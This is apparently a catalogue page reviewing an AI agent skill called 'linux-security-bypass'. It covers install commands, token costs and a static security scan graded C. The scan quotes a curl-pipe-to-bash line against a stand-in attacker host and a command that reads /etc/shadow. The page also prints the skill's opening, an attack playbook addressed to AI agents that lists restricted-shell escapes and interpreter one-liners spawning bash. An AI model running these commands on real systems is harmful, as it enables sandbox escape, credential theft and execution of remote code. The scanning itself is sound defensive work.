Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/miru-zero/zero-brainnpx agentmods add skills/miru-zero/zero-brain/linux-security-bypassWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/miru-zero/zero-brain/linux-security-bypass)<a href="https://agentmods.dev/skills/miru-zero/zero-brain/linux-security-bypass"><img src="https://agentmods.dev/badge/skills/miru-zero/zero-brain/linux-security-bypass/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/miru-zero/zero-brain/linux-security-bypass"><img src="https://agentmods.dev/badge/skills/miru-zero/zero-brain/linux-security-bypass.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00051 | $0.03049 |
| Opus 5.5 | $0.00020 | $0.01220 |
| Sonnet 5.5 | $0.00010 | $0.00610 |
| Haiku 4.5 | $0.00005 | $0.00305 |
Grade C, and why
linux-security-bypass scanned grade C with 4 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Reaches for credential filesmediumPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
git diff /dev/null /etc/shadow Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Downloads and executes remote codemediumSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
curl -sL https://attacker.com/payload | bash ddexec.sh Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -sL https://attacker.com/payload | bash ddexec.sh Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
| Node.js | `node -e 'require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'` | This is a copy
89% identical to linux-security-bypass — 4 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 346 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: Linux Security Bypass — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert techniques for bypassing Linux security mechanisms. Covers restricted shell escape, noexec bypass, AppArmor/SELinux evasion, seccomp circumvention, and audit evasion. Base models miss DDexec, memfd_create fileless execution, and architecture-confusion seccomp bypass.
0. RELATED ROUTING
Before going deep, consider loading:
- linux-privilege-escalation once you've broken out of restrictions and need to escalate
- container-escape-techniques when security mechanisms are container-specific (seccomp profiles, AppArmor docker-default)
- linux-lateral-movement after bypassing restrictions for pivoting
- cmdi-command-injection when the restriction is on command execution from a web application context
1. RESTRICTED BASH (rbash) BYPASS
1.1 SSH-Based Bypass
# Force a different shell via SSH
ssh user@host -t "bash --noprofile --norc"
ssh user@host -t "/bin/sh"
ssh user@host -t "bash -l"
# If ForceCommand is set in sshd_config, these may not work
# Try SFTP/SCP instead — often not restricted:
sftp user@host
# SFTP shell can sometimes execute commands
1.2 Editor-Based Escape
# vi/vim escape
vi
:set shell=/bin/bash
:shell
# Or: :!/bin/bash
# ed escape
ed
!/bin/bash
# nano (if available)
# Ctrl+R → Ctrl+X → command execution
1.3 Language Interpreter Escape
| Interpreter | Command |
|---|---|
| Python | python3 -c 'import pty; pty.spawn("/bin/bash")' |
| Perl | perl -e 'exec "/bin/bash";' |
| Ruby | ruby -e 'exec "/bin/bash"' |
| Lua | lua -e 'os.execute("/bin/bash")' |
| PHP | php -r 'system("/bin/bash");' |
| Node.js | node -e 'require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})' |
| AWK | awk 'BEGIN {system("/bin/bash")}' |
1.4 Environment Variable Tricks
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 346 lines · 51 tokens per session scan C 81ed740f225f
linux-security-bypass is a skill published in the GitHub repository miru-zero/zero-brain (0 stars, last pushed 2mo ago), licensed MIT. It adds 51 tokens to every session and 3,049 once invoked, about $0.0002 per session on Opus 5.5. A static security scan graded it C with 4 findings (reaches for credential files, downloads and executes remote code, makes network calls). It is 89% identical to linux-security-bypass, differing in 4 lines, and is treated as a copy.
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